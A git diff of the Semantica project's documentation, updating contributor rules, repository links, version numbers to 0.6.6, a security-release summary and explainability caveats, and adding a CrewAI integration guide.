4. **Late duplicate PRs.** If a PR is opened after another contributor has already been assigned to the issue, we close the duplicate early rather than let it sit open, and point the author to another open issue (or ask them to check `main` for newly opened ones). This avoids contributors spending time updating a PR that won't be merged.
|
||||
5. **Overlapping scope.** If a PR covers multiple issues, or there's genuine overlap between competing PRs, maintainers discuss it on [Discord](https://discord.gg/sV34vps5hH) before deciding rather than resolving it unilaterally.
|
||||
|
||||
**Why this matters:** it keeps triage predictable, avoids wasted contributor effort on PRs that won't merge, and helps retain active contributors.
|
||||
|
||||
---
|
||||
|
||||
@@ -102,7 +116,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight
|
||||
|
||||
**What:** Report bugs you find
|
||||
|
||||
**How:** Use the [bug report template](https://github.com/Hawksight-AI/semantica/issues/new?template=bug_report.md)
|
||||
**How:** Use the [bug report template](https://github.com/semantica-agi/semantica/issues/new?template=bug_report.md)
|
||||
|
||||
**Include:** Description, steps to reproduce, expected vs actual behavior, environment details
|
||||
|
||||
@@ -112,7 +126,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight
|
||||
|
||||
**What:** Suggest new features or improvements
|
||||
|
||||
**How:** Use the [feature request template](https://github.com/Hawksight-AI/semantica/issues/new?template=feature_request.md)
|
||||
**How:** Use the [feature request template](https://github.com/semantica-agi/semantica/issues/new?template=feature_request.md)
|
||||
|
||||
**Include:** Problem statement, proposed solution, use cases
|
||||
|
||||
@@ -132,7 +146,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight
|
||||
|
||||
**What:** Help others in the community
|
||||
|
||||
**Where:** [Discord](https://discord.gg/sV34vps5hH), [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions)
|
||||
**Where:** [Discord](https://discord.gg/sV34vps5hH), [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions)
|
||||
|
||||
**Examples:** Answer questions, review PRs, share your projects
|
||||
|
||||
@@ -159,12 +173,12 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight
|
||||
|
||||
### 1. Fork & Clone
|
||||
|
||||
First, [fork Semantica](https://github.com/Hawksight-AI/semantica/fork) on GitHub, then:
|
||||
First, [fork Semantica](https://github.com/semantica-agi/semantica/fork) on GitHub, then:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/your-username/semantica.git
|
||||
cd semantica
|
||||
git remote add upstream https://github.com/Hawksight-AI/semantica.git
|
||||
git remote add upstream https://github.com/semantica-agi/semantica.git
|
||||
```
|
||||
|
||||
### 2. Set Up Environment
|
||||
@@ -181,6 +195,39 @@ pip install -e ".[dev]"
|
||||
pre-commit install
|
||||
```
|
||||
|
||||
### Pinned CI dependencies
|
||||
|
||||
`requirements-ci.txt` pins every transitive dependency at exact versions so CI,
|
||||
security scans, and release builds install the same packages every run (the
|
||||
Python equivalent of `explorer/package-lock.json` + `npm ci`). It is a
|
||||
**separate build environment**: every package carries a SHA-256 hash
|
||||
(`--generate-hashes`), so installs are reproducible and supply-chain safe —
|
||||
never install into your local dev environment from it.
|
||||
|
||||
Regenerate it after changing `pyproject.toml` dependencies:
|
||||
|
||||
```bash
|
||||
pip install uv==0.12.1
|
||||
uv pip compile pyproject.toml --python-version 3.11 --extra all --generate-hashes -o requirements-ci.txt
|
||||
```
|
||||
|
||||
The `all` extra is the repo's cross-platform dependency set (GPU extras like
|
||||
`faiss-gpu`/`cupy` are excluded and installed separately on Linux — see
|
||||
`pyproject.toml`). Keep the pinned `uv` version in sync with CI so regeneration
|
||||
is deterministic.
|
||||
|
||||
CI's staleness check re-resolves with the committed lockfile as a constraint
|
||||
and compares version lines only: upstream package releases never fail CI —
|
||||
the lockfile changes only when `pyproject.toml` changes intentionally.
|
||||
|
||||
CI fails if `requirements-ci.txt` is stale relative to `pyproject.toml`
|
||||
(the version-line comparison detects new/removed/changed dependencies).
|
||||
|
||||
Build-system pins: `[build-system].requires` is pinned to exact versions
|
||||
(`setuptools==84.0.0`, `wheel==0.48.0`) and release builds run
|
||||
`python -m build --no-isolation` against the lockfile — no unpinned
|
||||
build-time isolation anywhere.
|
||||
|
||||
### 3. Create Branch
|
||||
|
||||
```bash
|
||||
@@ -351,8 +398,8 @@ result = instance.method()
|
||||
## 🆘 Getting Help
|
||||
|
||||
- 💬 [Discord](https://discord.gg/sV34vps5hH) - Real-time chat
|
||||
- 💭 [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions) - Q&A
|
||||
- 🐛 [GitHub Issues](https://github.com/Hawksight-AI/semantica/issues) - Bug reports
|
||||
- 💭 [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions) - Q&A
|
||||
- 🐛 [GitHub Issues](https://github.com/semantica-agi/semantica/issues) - Bug reports
|
||||
|
||||
**Before asking:** Check existing documentation, search issues/discussions, review cookbook examples
|
||||
|
||||
@@ -387,4 +434,4 @@ This project follows a [Code of Conduct](CODE_OF_CONDUCT.md). Be respectful and
|
||||
|
||||
Every contribution matters - whether it's a single line of code, a typo fix, a helpful answer, or a bug report. We appreciate you! 🙏
|
||||
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/Hawksight-AI/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/semantica-agi/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
|
||||
+1
-1
@@ -101,7 +101,7 @@ When using the all-contributors bot, use these codes:
|
||||
- `infra` - Infrastructure
|
||||
- `maintenance` - Maintenance
|
||||
|
||||
See [all-contributors specification](https://allcontributors.org/docs/en/emoji-key) for complete list.
|
||||
See [all-contributors specification](https://github.com/all-contributors/all-contributors#emoji-key) for complete list.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -1 +1,2 @@
|
||||
recursive-include semantica/static *
|
||||
recursive-include semantica/ontology/vocabulary *.ttl
|
||||
|
||||
@@ -2,7 +2,15 @@
|
||||
|
||||
<img src="Semantica Logo.png" alt="Semantica" width="420"/>
|
||||
|
||||
<a href="https://trendshift.io/repositories/18986?utm_source=repository-badge&utm_medium=badge&utm_campaign=badge-repository-18986" target="_blank" rel="noopener noreferrer"><img src="https://trendshift.io/api/badge/repositories/18986" alt="semantica-agi%2Fsemantica | Trendshift" width="250" height="55"/></a>
|
||||
<div style="display:flex; gap:10px; align-items:center; flex-wrap:wrap;">
|
||||
<a href="https://trendshift.io/repositories/18986?utm_source=repository-badge&utm_medium=badge&utm_campaign=badge-repository-18986" target="_blank" rel="noopener noreferrer">
|
||||
<img src="https://trendshift.io/api/badge/repositories/18986" alt="semantica-agi/semantica | Trendshift" width="250" height="55"/>
|
||||
</a>
|
||||
|
||||
<a href="https://trendshift.io/repositories/18986?utm_source=trendshift-badge&utm_medium=badge&utm_campaign=badge-trendshift-18986" target="_blank" rel="noopener noreferrer">
|
||||
<img src="https://trendshift.io/api/badge/trendshift/repositories/18986/weekly?language=Python" alt="semantica-agi/semantica | Trendshift" width="250" height="55"/>
|
||||
</a>
|
||||
</div>
|
||||
|
||||
### Graph-Native Infrastructure for Context and Accountable AI Systems
|
||||
|
||||
@@ -52,6 +60,8 @@ Most AI agents act without a trail. They store embeddings, not meaning: context
|
||||
|
||||
Semantica sits underneath your LLM, vector store, and agent framework as a deterministic infrastructure layer: no LLM required for graph construction, reasoning, or provenance.
|
||||
|
||||
> ⚠️ **System-level explainability, not foundation-model explainability.** Semantica does not expose or reconstruct what happens *inside* the LLM — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. Semantica explains what's *outside* the model: the context and data fed in, the decision produced, its provenance, relevant relationships, applied policies, and the full execution trail.
|
||||
|
||||
**Who it's for:**
|
||||
|
||||
- **AI/ML platform teams** shipping agents that make consequential decisions and need structured, queryable context built from fragmented raw data, not just a vector index
|
||||
@@ -77,7 +87,7 @@ Semantica sits underneath your LLM, vector store, and agent framework as a deter
|
||||
- **Graph Analytics:** Centrality, community detection, link prediction, and shortest-path queries over the graph you just built
|
||||
- **Polyglot Graph Storage:** Native RDF (embedded Oxigraph, Blazegraph, Apache Jena, Eclipse RDF4J via SPARQL) and Labeled Property Graphs (Neo4j, FalkorDB, Apache AGE, AWS Neptune via Cypher), plus vector stores, all swappable without touching your code
|
||||
- **Visualization:** Explore any graph, ontology, or timeline in an interactive browser workbench
|
||||
- **Drop-in Integrations:** Native Agno support, a full-featured MCP server, a comprehensive CLI, a REST API, and plugins across major editors
|
||||
- **Drop-in Integrations:** Native Agno and CrewAI support, a full-featured MCP server, a comprehensive CLI, a REST API, and plugins across major editors
|
||||
|
||||
---
|
||||
|
||||
@@ -132,7 +142,7 @@ compliant = graph.check_decision_rules({"category": "vendor_selection"}) # poli
|
||||
```bash
|
||||
semantica doctor
|
||||
# Python 3.11.9 pass
|
||||
# semantica 0.6.5 pass
|
||||
# semantica 0.6.6 pass
|
||||
# faiss vector store pass
|
||||
# Config file pass ~/.semantica/config.yaml
|
||||
```
|
||||
@@ -293,17 +303,10 @@ graph.add_causal_relationship(d1, d2, relationship_type="CAUSED")
|
||||
prov.track_entity("patient_P4821", source="ehr/medication_orders_2024.json",
|
||||
metadata={"extractor": "NamedEntityRecognizer"})
|
||||
|
||||
# Export W3C PROV-O for regulator submission - RDFExporter expects
|
||||
# {"entities": [...], "relationships": [...]}, so map ContextGraph.to_dict()'s
|
||||
# {"nodes": [...], "edges": [...]} shape onto it first
|
||||
graph_dict = graph.to_dict()
|
||||
kg = {
|
||||
"entities": [{"id": n["id"], "type": n["type"], "text": n["content"]} for n in graph_dict["nodes"]],
|
||||
"relationships": [
|
||||
{"source_id": e["source"], "target_id": e["target"], "type": e["type"]}
|
||||
for e in graph_dict["edges"]
|
||||
],
|
||||
}
|
||||
# Export W3C PROV-O for regulator submission - to_kg_dict() is the official
|
||||
# adapter that emits the {"entities": [...], "relationships": [...]} /
|
||||
# source_id shape RDFExporter expects, so no manual field mapping is needed
|
||||
kg = graph.to_kg_dict()
|
||||
RDFExporter().export(kg, "audit_trail.ttl", format="turtle")
|
||||
```
|
||||
|
||||
@@ -877,20 +880,14 @@ fact = BiTemporalFact(
|
||||
recorded_at=datetime(2024, 3, 5),
|
||||
)
|
||||
|
||||
# Query facts valid within a time window - query_time_range() expects
|
||||
# {"relationships": [...]} with source_id/target_id keys, which differs from
|
||||
# ContextGraph.to_dict()'s {"nodes", "edges"} shape, so map it first
|
||||
graph_dict = graph.to_dict()
|
||||
kg_relationships = {
|
||||
"relationships": [
|
||||
{**e, "source_id": e["source"], "target_id": e["target"]}
|
||||
for e in graph_dict["edges"]
|
||||
]
|
||||
}
|
||||
# Query facts valid within a time window - to_kg_dict() is the official
|
||||
# adapter that emits {"entities", "relationships"} with source_id/target_id
|
||||
# keys, the shape query_time_range() expects (no manual mapping required)
|
||||
kg = graph.to_kg_dict()
|
||||
|
||||
tq = TemporalGraphQuery()
|
||||
facts_in_window = tq.query_time_range(
|
||||
kg_relationships, query="valid_facts", start_time="2024-01-01", end_time="2024-12-31"
|
||||
kg, query="valid_facts", start_time="2024-01-01", end_time="2024-12-31"
|
||||
)
|
||||
|
||||
# Normalize natural language temporal expressions - returns a (start, end) range
|
||||
@@ -1189,7 +1186,7 @@ Start with `semantica`, verify with `doctor`, build a graph, and explore the com
|
||||
|
||||
## Integrations
|
||||
|
||||
Native plugin bundles for Claude Code, Cursor, Codex, Windsurf, Cline, Continue, VS Code, and OpenClaw; a full-featured MCP server for any MCP-compatible client; a comprehensive REST API; and first-class Agno support for multi-agent shared context. Every major LLM provider is already supported via `semantica.llms` and LiteLLM: OpenAI, Anthropic, Gemini, Mistral, Llama, Groq, Cohere, Azure, Bedrock, Ollama, DeepSeek, HuggingFace, and more.
|
||||
Native plugin bundles for Claude Code, Cursor, Codex, Windsurf, Cline, Continue, VS Code, and OpenClaw; a full-featured MCP server for any MCP-compatible client; a comprehensive REST API; and first-class Agno and CrewAI support for agentic frameworks. Every major LLM provider is already supported via `semantica.llms` and LiteLLM: OpenAI, Anthropic, Gemini, Mistral, Llama, Groq, Cohere, Azure, Bedrock, Ollama, DeepSeek, HuggingFace, and more.
|
||||
|
||||
MCP setup takes 30 seconds — see [MCP Server](#mcp-server) below.
|
||||
|
||||
@@ -1303,6 +1300,11 @@ MCP setup takes 30 seconds — see [MCP Server](#mcp-server) below.
|
||||
<strong>Agno</strong><br/>
|
||||
<sub>First-class · <code>pip install semantica[agno]</code></sub>
|
||||
</td>
|
||||
<td align="center" width="12.5%">
|
||||
<a href="https://github.com/crewAIInc/crewAI"><img src="https://github.com/crewAIInc.png?size=120" alt="CrewAI" width="48" height="48" /></a><br/>
|
||||
<strong>CrewAI</strong><br/>
|
||||
<sub>First-class · <code>pip install semantica[crewai]</code></sub>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th colspan="8" align="left">Already Supported via REST API & MCP</th>
|
||||
@@ -1319,11 +1321,6 @@ MCP setup takes 30 seconds — see [MCP Server](#mcp-server) below.
|
||||
<sub>REST API · MCP</sub>
|
||||
</td>
|
||||
<td align="center" width="12.5%">
|
||||
<a href="https://github.com/crewAIInc/crewAI"><img src="https://github.com/crewAIInc.png?size=120" alt="CrewAI" width="48" height="48" /></a><br/>
|
||||
<strong>CrewAI</strong><br/>
|
||||
<sub>REST API · MCP</sub>
|
||||
</td>
|
||||
<td align="center" width="12.5%">
|
||||
<a href="https://github.com/run-llama/llama_index"><img src="https://github.com/run-llama.png?size=120" alt="LlamaIndex" width="48" height="48" /></a><br/>
|
||||
<strong>LlamaIndex</strong><br/>
|
||||
<sub>REST API · MCP</sub>
|
||||
@@ -1354,11 +1351,6 @@ MCP setup takes 30 seconds — see [MCP Server](#mcp-server) below.
|
||||
<sub>Dedicated toolkit</sub>
|
||||
</td>
|
||||
<td align="center" width="12.5%">
|
||||
<a href="https://github.com/crewAIInc/crewAI"><img src="https://github.com/crewAIInc.png?size=120" alt="CrewAI" width="48" height="48" /></a><br/>
|
||||
<strong>CrewAI</strong><br/>
|
||||
<sub>Dedicated toolkit</sub>
|
||||
</td>
|
||||
<td align="center" width="12.5%">
|
||||
<a href="https://github.com/run-llama/llama_index"><img src="https://github.com/run-llama.png?size=120" alt="LlamaIndex" width="48" height="48" /></a><br/>
|
||||
<strong>LlamaIndex</strong><br/>
|
||||
<sub>Dedicated toolkit</sub>
|
||||
@@ -1474,18 +1466,18 @@ For contributor / dev-server setup: **[explorer/README.md: Local Setup Guide](ex
|
||||
|
||||
---
|
||||
|
||||
## What's New in v0.6.5
|
||||
## What's New in v0.6.6
|
||||
|
||||
**Security release — upgrading is strongly recommended.** Fixes for 5 externally-reported vulnerabilities in the Explorer API and graph/triplet store backends, plus a CodeQL-flagged ReDoS:
|
||||
**Security release — upgrading is strongly recommended.** Fixes for a privately disclosed batch of vulnerabilities spanning backup/restore, database export, outbound requests, and triplet-store backends, plus SSRF hardening across ingestion:
|
||||
|
||||
- **Missing authentication on all Explorer API routes** (GHSA-j4mq-hprp-987v, Critical): every route now requires `SEMANTICA_API_KEY`, fails closed (503) rather than open when unconfigured
|
||||
- **SSRF via redirect bypass in ontology URL fetching** (GHSA-8c7v-62gr-hj6g, High): redirect targets are now re-validated at every hop and the connection is pinned to the validated address, closing a DNS check-then-use race
|
||||
- **Cypher injection via unvalidated node labels and property keys** (GHSA-482h-hw99-h62p, Critical): Neptune, Neo4j, and FalkorDB now sanitize every label/relationship-type/property-key interpolation site
|
||||
- **SPARQL injection via unvalidated triplet IRIs** (GHSA-8vgg-8mr4-r236, Critical): Blazegraph, RDF4J, and Jena now validate subject/predicate/object IRIs before interpolation
|
||||
- **Missing Origin validation on the WebSocket handshake** (GHSA-4643-wpgq-w329, Moderate, anonymous-mode only): `/ws/graph-updates` now checks `Origin` against the same allowlist `CORSMiddleware` enforces for HTTP
|
||||
- **Polynomial ReDoS in SPARQL query validation** (CodeQL `py/polynomial-redos`): fixed a backtracking regex in the Explorer's SPARQL route
|
||||
- **Tarball restore path traversal**: `semantica backup restore` now validates every archive member for path containment and rejects symlink/hardlink escapes before extraction
|
||||
- **Latent SQL injection in `DataExporter.export_table_data()`**: table/schema names are now identifier-allowlisted and `where`/`order_by` fragments are blocklist-checked
|
||||
- **DNS-rebinding TOCTOU in the shared SSRF guard**: the resolved IP that passes validation is now the one the connection is pinned to, closing the check-then-use race (also closes the `100.64.0.0/10` CGNAT gap)
|
||||
- **Stored XSS in HTML report generation** and **unvalidated SPARQL object IRIs in AnzoStore** (SPARQL injection): both now escape/validate before interpolation
|
||||
- **`Authorization`/`Proxy-Authorization` credential leakage across redirects**, plus **SSRF gaps in `FeedIngestor`/`FeedMonitor`, `RepoIngestor`, and the MCP/public-API ingest paths**: all now route through the shared, redirect-safe SSRF guard
|
||||
- **HTTP response header injection and an unbounded-memory DoS** in the Explorer API, and a **`fastapi`/`python-multipart` ReDoS** (PYSEC-2024-38): floors raised, inputs sanitized, candidate pools capped
|
||||
|
||||
Also includes: embedded Oxigraph backend for `TripletStore`, PROV-O trust/spec completeness for `ProvenanceManager`, and the Altair Anzo triplet store backend.
|
||||
Also ships: **first-class CrewAI integration** (`semantica[crewai]`, extraction/decision tools + a knowledge source), **`ContextGraph` retraction and purge** (GDPR-style erasure without a full `clear()`), a declared **Semantica RDF vocabulary with deterministic entity/relationship IRIs** (stable, diffable exports), and **timezone-aware timestamps** across `export/` and `provenance/`.
|
||||
|
||||
→ [Full release notes](RELEASE_NOTES.md) · [Changelog](CHANGELOG.md)
|
||||
|
||||
@@ -1503,6 +1495,8 @@ Semantica is designed for environments where AI outputs must be explainable, aud
|
||||
- **Cybersecurity:** Threat attribution, incident response timelines, and IOC provenance tracking
|
||||
- **Autonomous Systems:** Decision logs, safety validation, and explainable AI for certification
|
||||
|
||||
> ⚠️ **This is system-level explainability, not foundation-model explainability.** Semantica does not expose, reconstruct, or explain what happens *inside* the LLM/foundation model — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. What Semantica explains is *outside* the model: the context and data fed in, the decision produced, its provenance, the relevant relationships, the policies applied, and the full execution trail. In short, Semantica explains and audits what the AI system did, not the LLM's private internal reasoning.
|
||||
|
||||
---
|
||||
|
||||
## Installation
|
||||
@@ -1514,6 +1508,7 @@ pip install semantica[all] # everything
|
||||
|
||||
```bash
|
||||
pip install semantica[agno] # Agno multi-agent integration
|
||||
pip install semantica[crewai] # CrewAI integration
|
||||
pip install semantica[llm-litellm] # OpenAI, Anthropic, Gemini, Mistral, Llama, Groq, Cohere, Bedrock, Ollama, DeepSeek, and more
|
||||
pip install semantica[graph-neo4j] # Neo4j graph store (LPG)
|
||||
pip install semantica[graph-falkordb] # FalkorDB graph store (LPG)
|
||||
|
||||
+5
-5
@@ -17,22 +17,22 @@ icon: "quote-left"
|
||||
author = {Semantica},
|
||||
year = {2026},
|
||||
url = {https://github.com/semantica-agi/semantica},
|
||||
version = {0.6.5},
|
||||
version = {0.6.6},
|
||||
doi = {10.5281/zenodo.XXXXXXX}
|
||||
}
|
||||
```
|
||||
</Tab>
|
||||
<Tab title="APA">
|
||||
Semantica. (2026). *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems* (Version 0.6.5) \[Computer software\]. https://github.com/semantica-agi/semantica
|
||||
Semantica. (2026). *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems* (Version 0.6.6) \[Computer software\]. https://github.com/semantica-agi/semantica
|
||||
</Tab>
|
||||
<Tab title="MLA">
|
||||
Semantica. *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems*. Version 0.6.5, GitHub, 2026, https://github.com/semantica-agi/semantica.
|
||||
Semantica. *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems*. Version 0.6.6, GitHub, 2026, https://github.com/semantica-agi/semantica.
|
||||
</Tab>
|
||||
<Tab title="Chicago">
|
||||
Semantica. *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems*. Version 0.6.5. GitHub, 2026. https://github.com/semantica-agi/semantica.
|
||||
Semantica. *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems*. Version 0.6.6. GitHub, 2026. https://github.com/semantica-agi/semantica.
|
||||
</Tab>
|
||||
<Tab title="IEEE">
|
||||
Semantica, "Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems," Version 0.6.5, GitHub, 2026. \[Online\]. Available: https://github.com/semantica-agi/semantica
|
||||
Semantica, "Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems," Version 0.6.6, GitHub, 2026. \[Online\]. Available: https://github.com/semantica-agi/semantica
|
||||
</Tab>
|
||||
</Tabs>
|
||||
|
||||
|
||||
@@ -16,6 +16,9 @@ At its core, Semantica adds a **context and accountability layer** on top of you
|
||||
- **Accountability Layer** — Provenance tracking, decision intelligence, conflict detection, and W3C PROV-O compliance make every claim in your AI stack auditable and explainable.
|
||||
- **Extension Layer** — `PluginRegistry` and `MethodRegistry` let you replace or augment any component: ingestors, extractors, reasoning engines, backends: without changing framework code.
|
||||
|
||||
<Warning>
|
||||
**This is system-level explainability, not foundation-model explainability.** Semantica does not expose, reconstruct, or explain what happens *inside* the LLM/foundation model — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. What Semantica explains is *outside* the model: the context and data fed in, the decision produced, its provenance, the relevant relationships, the policies applied, and the full execution trail. In short, Semantica explains and audits *what the AI system did*, not the foundation model's private internal reasoning.
|
||||
</Warning>
|
||||
|
||||
## Knowledge Graphs
|
||||
|
||||
|
||||
@@ -102,6 +102,7 @@
|
||||
"group": "Integrations",
|
||||
"pages": [
|
||||
"integrations/agno",
|
||||
"integrations/crewai",
|
||||
"integrations/docling",
|
||||
"integrations/snowflake",
|
||||
"integrations/databricks"
|
||||
|
||||
@@ -162,7 +162,7 @@ semantica-explorer --graph my_graph.json --no-browser
|
||||
```
|
||||
|
||||
<Warning>
|
||||
`--host 0.0.0.0` makes Explorer reachable on every network interface. The server has no built-in authentication. Only use this on a trusted private network.
|
||||
`--host 0.0.0.0` makes Explorer reachable on every network interface. Since v0.6.5 the Explorer API requires `SEMANTICA_API_KEY` (sent as the `X-API-Key` header) and fails closed with `503` when unconfigured; unauthenticated access is only possible when `SEMANTICA_ALLOW_ANONYMOUS=true` is set explicitly. Only use this on a trusted private network.
|
||||
</Warning>
|
||||
|
||||
|
||||
|
||||
+11
-1
@@ -17,7 +17,7 @@ icon: "circle-question"
|
||||
| API key required? | Optional: pattern extraction works with no keys |
|
||||
| Works with LangChain / LlamaIndex? | Yes: Semantica is a layer on top, not a replacement |
|
||||
| Production-ready? | Yes: 1,000+ tests, v0.5.0 ships with 12 security fixes |
|
||||
| Latest version? | **v0.6.5** (August 2026) |
|
||||
| Latest version? | **v0.6.6** (August 2026) |
|
||||
| Local LLMs? | Yes: Ollama via LiteLLM, HuggingFaceLLM for air-gapped |
|
||||
|
||||
|
||||
@@ -52,6 +52,16 @@ Semantica works alongside these frameworks, not against them.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Does Semantica explain an LLM's internal reasoning or chain-of-thought?" icon="triangle-exclamation">
|
||||
|
||||
No. This is **system-level explainability, not foundation-model explainability**. Semantica does not expose, reconstruct, or explain what happens *inside* the LLM/foundation model — its internal reasoning or chain-of-thought stays opaque, as it does for any external system.
|
||||
|
||||
What Semantica explains is *outside* the model: what context and data were used, what decision was produced, the provenance behind it, the relevant relationships, the policies applied, and the resulting decision trail.
|
||||
|
||||
In short: Semantica explains and audits *what the AI system did* — not the foundation model's private internal reasoning.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Is Semantica free?" icon="tag">
|
||||
|
||||
Yes: MIT licensed, no vendor lock-in, no paywalled features. Some capabilities require third-party API keys (e.g., OpenAI embeddings, Groq inference), but Semantica itself is always free and open source.
|
||||
|
||||
@@ -42,7 +42,7 @@ icon: "rocket"
|
||||
Verify installation:
|
||||
```python
|
||||
import semantica
|
||||
print(semantica.__version__) # 0.6.5
|
||||
print(semantica.__version__) # 0.6.6
|
||||
```
|
||||
</Check>
|
||||
</Step>
|
||||
|
||||
+5
-1
@@ -192,7 +192,11 @@ decision_id = context.record_decision(
|
||||
|
||||
## Built for Where Mistakes Have Consequences
|
||||
|
||||
Semantica was designed for domains where every decision must be explainable and every fact must be traceable:
|
||||
Semantica was designed for domains where every decision must be explainable and every fact must be traceable.
|
||||
|
||||
<Warning>
|
||||
**This is system-level explainability, not foundation-model explainability.** Semantica does not expose, reconstruct, or explain what happens *inside* the LLM/foundation model — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. What Semantica explains is *outside* the model: the context and data fed in, the decision produced, its provenance, the relevant relationships, the policies applied, and the full execution trail. See [Core Concepts](concepts) for the full scope note.
|
||||
</Warning>
|
||||
|
||||
**Healthcare & Life Sciences**
|
||||
- Clinical decision support with full audit trails
|
||||
|
||||
@@ -0,0 +1,147 @@
|
||||
---
|
||||
title: "CrewAI Integration"
|
||||
description: "Give CrewAI crews a shared semantic knowledge graph, decision intelligence, and graph-based retrieval via three drop-in components."
|
||||
icon: "users"
|
||||
---
|
||||
|
||||
> Three drop-in components that bring Semantica's knowledge graph and decision intelligence into any CrewAI crew.
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
pip install "semantica[crewai]"
|
||||
```
|
||||
|
||||
Requires `crewai >= 0.80.0`. If `crewai` is not installed, the integration still imports — every class carries the full Semantica API and degrades gracefully, but cannot be passed to a `Crew`.
|
||||
|
||||
## Components at a Glance
|
||||
|
||||
- **SemanticaKGTool** — `Agent(tools=[…])`: 5 KG construction/query actions: extract entities, extract relations, add to graph, query graph, find related.
|
||||
- **SemanticaDecisionTool** — `Agent(tools=[…])`: 5 decision intelligence actions: record decisions, find precedents, trace causal chains, analyze impact, check policies.
|
||||
- **SemanticaKnowledgeSource** — `Crew(knowledge_sources=[…])`: Serializes a `ContextGraph` into CrewAI knowledge storage so every agent gets retrieval access to the graph.
|
||||
|
||||
## Component Details
|
||||
|
||||
<Tabs>
|
||||
<Tab title="SemanticaKGTool">
|
||||
Lets agents actively **build and query** a shared `ContextGraph` mid-reasoning.
|
||||
|
||||
```python
|
||||
from crewai import Agent, Crew, Task
|
||||
from semantica.context import ContextGraph
|
||||
from integrations.crewai import SemanticaKGTool
|
||||
|
||||
graph = ContextGraph()
|
||||
|
||||
analyst = Agent(
|
||||
role="Knowledge Analyst",
|
||||
goal="Build and explore a knowledge graph from documents",
|
||||
backstory="You map entities and relationships into a shared graph.",
|
||||
tools=[SemanticaKGTool(graph=graph)],
|
||||
)
|
||||
|
||||
crew = Crew(
|
||||
agents=[analyst],
|
||||
tasks=[Task(
|
||||
description="Extract and link key entities from the brief",
|
||||
expected_output="JSON",
|
||||
agent=analyst,
|
||||
)],
|
||||
)
|
||||
crew.kickoff()
|
||||
```
|
||||
|
||||
| Tool | Description |
|
||||
| :------ | :------------- |
|
||||
| `extract_entities` | Extract named entities from `text` |
|
||||
| `extract_relations` | Extract relationships between entities in `text` |
|
||||
| `add_to_graph` | Extract entities/relations from `text` and add them to the shared graph |
|
||||
| `query_graph` | Keyword-search the graph by node id, type, and content using `query` |
|
||||
| `find_related` | Find concepts related to `entity` within `hops` hops |
|
||||
|
||||
All actions return JSON so agents get parseable results.
|
||||
|
||||
**Sharing a graph:** the tool reads/writes whatever `graph` you pass in. When no `graph` is given, a fresh in-memory `ContextGraph()` is created (and a warning is logged) — two tool instances that each auto-create their own graph do **not** share knowledge. Pass the same `ContextGraph` to every agent that must share state.
|
||||
</Tab>
|
||||
<Tab title="SemanticaDecisionTool">
|
||||
Exposes Semantica's decision intelligence as a native CrewAI tool, backed by `AgentContext`.
|
||||
|
||||
```python
|
||||
from crewai import Agent, Crew, Task
|
||||
from integrations.crewai import SemanticaDecisionTool
|
||||
|
||||
planner = Agent(
|
||||
role="Decision Planner",
|
||||
goal="Make grounded, precedented decisions",
|
||||
backstory="You record decisions and validate them against policy.",
|
||||
tools=[SemanticaDecisionTool()],
|
||||
)
|
||||
|
||||
crew = Crew(agents=[planner], tasks=[...])
|
||||
```
|
||||
|
||||
When no `AgentContext` is passed, one is created in-memory with `decision_tracking=True` and its own `ContextGraph`, so decision actions work out of the box (a warning is logged — pass the same `AgentContext` to every agent that must share decision state). Missing optional fields in `record_decision` fall back to `category="general"`, `reasoning="agent decision"`, and `outcome="recorded"`. `find_precedents` returns up to `max_precedents` results. If a knowledge graph cannot trace causality, `trace_causal_chain` returns an explicit error rather than substituting similarity-based results.
|
||||
|
||||
| Tool | Description |
|
||||
| :------ | :------------- |
|
||||
| `record_decision` | Record a decision with reasoning, outcome, and confidence |
|
||||
| `find_precedents` | Search for similar past decisions |
|
||||
| `trace_causal_chain` | Trace the causal chain from a decision |
|
||||
| `analyze_impact` | Assess downstream influence of a decision |
|
||||
| `check_policy` | Validate a proposed decision against policy rules |
|
||||
</Tab>
|
||||
<Tab title="SemanticaKnowledgeSource">
|
||||
Gives **every agent in the crew** retrieval access to a `ContextGraph`.
|
||||
|
||||
```python
|
||||
from crewai import Agent, Crew, Task
|
||||
from semantica.context import ContextGraph
|
||||
from integrations.crewai import SemanticaKnowledgeSource
|
||||
|
||||
graph = ContextGraph()
|
||||
graph.add_node(node_id="privacy", node_type="policy", content="...")
|
||||
|
||||
researcher = Agent(
|
||||
role="Policy Researcher",
|
||||
goal="Answer questions from the knowledge base",
|
||||
backstory="You retrieve from graph knowledge to answer accurately.",
|
||||
)
|
||||
|
||||
crew = Crew(
|
||||
agents=[researcher],
|
||||
tasks=[...],
|
||||
knowledge_sources=[SemanticaKnowledgeSource(graph=graph)],
|
||||
)
|
||||
```
|
||||
|
||||
On kickoff the graph's nodes and edges are serialized, chunked, and stored through CrewAI's knowledge pipeline.
|
||||
|
||||
